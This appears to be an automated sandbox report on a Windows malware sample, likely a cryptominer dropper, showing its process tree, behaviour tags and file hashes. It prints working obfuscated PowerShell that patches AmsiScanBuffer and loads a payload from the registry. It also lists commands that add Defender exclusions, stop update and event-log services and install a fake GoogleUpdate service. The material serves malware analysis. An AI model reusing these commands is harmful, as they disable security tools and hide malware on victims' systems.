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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1180
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2888
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qnvVxSUMGvLp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KEGhrmoZWlYHJs,[Parameter(Position=1)][Type]$OkZVFCaDak)$yTTfMpuCghQ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'mo'+'r'+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+'d'+',A'+'n'+'si'+[Char](67)+'l'+'a'+'s'+[Char](115)+','+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$yTTfMpuCghQ.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+'a'+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+'e'+',Hi'+[Char](100)+'e'+[Char](66)+'y'+'S'+''+'i'+'g'+[Char](44)+'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$KEGhrmoZWlYHJs).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$yTTfMpuCghQ.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c,H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+'i'+'r'+''+'t'+''+'u'+''+'a'+''+'l'+'',$OkZVFCaDak,$KEGhrmoZWlYHJs).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'ana'+[Char](103)+'e'+'d'+'');Write-Output $yTTfMpuCghQ.CreateType();}$tXbeSWPOsYLdp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+'e'+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'fe'+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+'o'+'d'+'s');$XZWGsgYLmvQlWH=$tXbeSWPOsYLdp.GetMethod('G'+[Char](101)+'t'+[Char](80)+''+[Char](114)+'o'+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$euzgqFeuOcTlFlWrpMM=qnvVxSUMGvLp @([String])([IntPtr]);$sAHxDHioCGwVrsAsBJVdbr=qnvVxSUMGvLp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lOaaMcJVwWJ=$tXbeSWPOsYLdp.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+'e'+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$CaTAtmtQtPQSUU=$XZWGsgYLmvQlWH.Invoke($Null,@([Object]$lOaaMcJVwWJ,[Object](''+[Char](76)+'oa'+'d'+''+'L'+''+'i'+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+'y'+[Char](65)+'')));$CdDREWzfacxZbILXt=$XZWGsgYLmvQlWH.Invoke($Null,@([Object]$lOaaMcJVwWJ,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$yJtsUnY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CaTAtmtQtPQSUU,$euzgqFeuOcTlFlWrpMM).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+'.dl'+[Char](108)+'');$FYPwFxkIhUADkOPke=$XZWGsgYLmvQlWH.Invoke($Null,@([Object]$yJtsUnY,[Object](''+'A'+'msi'+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+'u'+'f'+'f'+[Char](101)+''+[Char](114)+'')));$EtdKvBDhcP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CdDREWzfacxZbILXt,$sAHxDHioCGwVrsAsBJVdbr).Invoke($FYPwFxkIhUADkOPke,[uint32]8,4,[ref]$EtdKvBDhcP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FYPwFxkIhUADkOPke,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CdDREWzfacxZbILXt,$sAHxDHioCGwVrsAsBJVdbr).Invoke($FYPwFxkIhUADkOPke,[uint32]8,0x20,[ref]$EtdKvBDhcP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OFTWAR'+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+'s'+'t'+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3172
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lksOSMPxPHQn{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gCRomlflSgeXaA,[Parameter(Position=1)][Type]$RMsHUhFzec)$BzJMogTkimB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+'l'+'e'+''+[Char](99)+'t'+'e'+''+[Char](100)+''+'D'+'e'+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+[Char](101)+''+'m'+''+[Char](111)+'r'+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+'y'+'p'+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Se'+'a'+'l'+'e'+'d'+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+'C'+'l'+''+'a'+'s'+[Char](115)+',A'+'u'+'t'+'o'+''+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$BzJMogTkimB.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'bl'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$gCRomlflSgeXaA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$BzJMogTkimB.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+'e','Pu'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+'B'+[Char](121)+''+[Char](83)+''+'i'+'g'+','+''+[Char](78)+'ew'+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$RMsHUhFzec,$gCRomlflSgeXaA).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+''+'n'+''+[Char](97)+'ge'+'d'+'');Write-Output $BzJMogTkimB.CreateType();}$wKsVBIMyHuUQf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+'m'+'.'+[Char](100)+'ll')}).GetType('M'+'i'+''+'c'+'ro'+[Char](115)+''+[Char](111)+'ft'+'.'+''+'W'+''+'i'+'n'+'3'+'2.'+[Char](85)+''+[Char](110)+'s'+'a'+''+'f'+'e'+[Char](78)+'at'+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+''+'d'+''+'s'+'');$hPbAtOPnvHJYXM=$wKsVBIMyHuUQf.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](80)+'r'+[Char](111)+''+'c'+''+[Char](65)+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YoSdLrkIhwgGCYtXpWB=lksOSMPxPHQn @([String])([IntPtr]);$YVScKLwxLHruxTUvGNsMRW=lksOSMPxPHQn @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rjKJktRGQQT=$wKsVBIMyHuUQf.GetMethod(''+[Char](71)+'et'+'M'+''+[Char](111)+'dule'+[Char](72)+''+[Char](97)+''+'n'+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+'l'+'l'+'')));$IDBANgxMmQLMno=$hPbAtOPnvHJYXM.Invoke($Null,@([Object]$rjKJktRGQQT,[Object](''+[Char](76)+''+'o'+'a'+'d'+''+'L'+''+[Char](105)+'b'+'r'+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$BBQNTKDCRXvPScqmD=$hPbAtOPnvHJYXM.Invoke($Null,@([Object]$rjKJktRGQQT,[Object](''+'V'+''+'i'+''+[Char](114)+''+'t'+'u'+[Char](97)+'l'+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$UZfCHDc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IDBANgxMmQLMno,$YoSdLrkIhwgGCYtXpWB).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$aJyxxeANyHBtFXQLA=$hPbAtOPnvHJYXM.Invoke($Null,@([Object]$UZfCHDc,[Object]('A'+[Char](109)+'si'+'S'+'ca'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+'f'+'e'+''+[Char](114)+'')));$CLCltUFUCQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BBQNTKDCRXvPScqmD,$YVScKLwxLHruxTUvGNsMRW).Invoke($aJyxxeANyHBtFXQLA,[uint32]8,4,[ref]$CLCltUFUCQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aJyxxeANyHBtFXQLA,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BBQNTKDCRXvPScqmD,$YVScKLwxLHruxTUvGNsMRW).Invoke($aJyxxeANyHBtFXQLA,[uint32]8,0x20,[ref]$CLCltUFUCQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'TW'+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+'r'+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1720 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4200
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1464
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2700
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1480
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1504
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1984
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1096
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1388
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2544
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2676
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2748
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2812
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2820
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3092
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3420
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3476 -
C:\Users\Admin\AppData\Local\Temp\1417d38c40d85d1c4eb7fad3444ca069.exe"C:\Users\Admin\AppData\Local\Temp\1417d38c40d85d1c4eb7fad3444ca069.exe"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:4748
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:4936
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:1372
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:2100
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:4204
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4972
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2796
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4960
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2024
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:4208
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
PID:2392
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"3⤵
- Launches sc.exe
PID:1596
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:4008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
PID:2640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3616
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3796
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3972
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4544
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3504
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3688
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3568
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1172
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:452
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3852
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C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4236
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4512
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2332
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1580
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:3324
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:764
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4420
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3804
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:864
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4796
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4556
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:3112
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1652
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5100
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:2928
Network
MITRE ATT&CK Enterprise v15
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Downloads
- Path C:\ProgramData\Google\Chrome\updater.exe
- Size 5.3MB
- SHA256 5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d
- MD5 1417d38c40d85d1c4eb7fad3444ca069
- SHA1 27d8e2ca9537c80d1c1148830f9a6499f1e3e797
- SHA512 a169f8c5925977a984bc00a2b379205ed527777865215e4ffdfeb30084d1ed08f7bb5222db8898161f1e6151d4a75e8ccc366543cf041e47effc21dcf4c351ab
- SSDEEP 98304:z0uVyIJFN+YjxW2q0pOFklpKRDArh51NuIQIi7by2ud3RK:QucIJbx9TOFkMOL1NuIQIi7by2uRRK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yw4btnwo.tqe.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
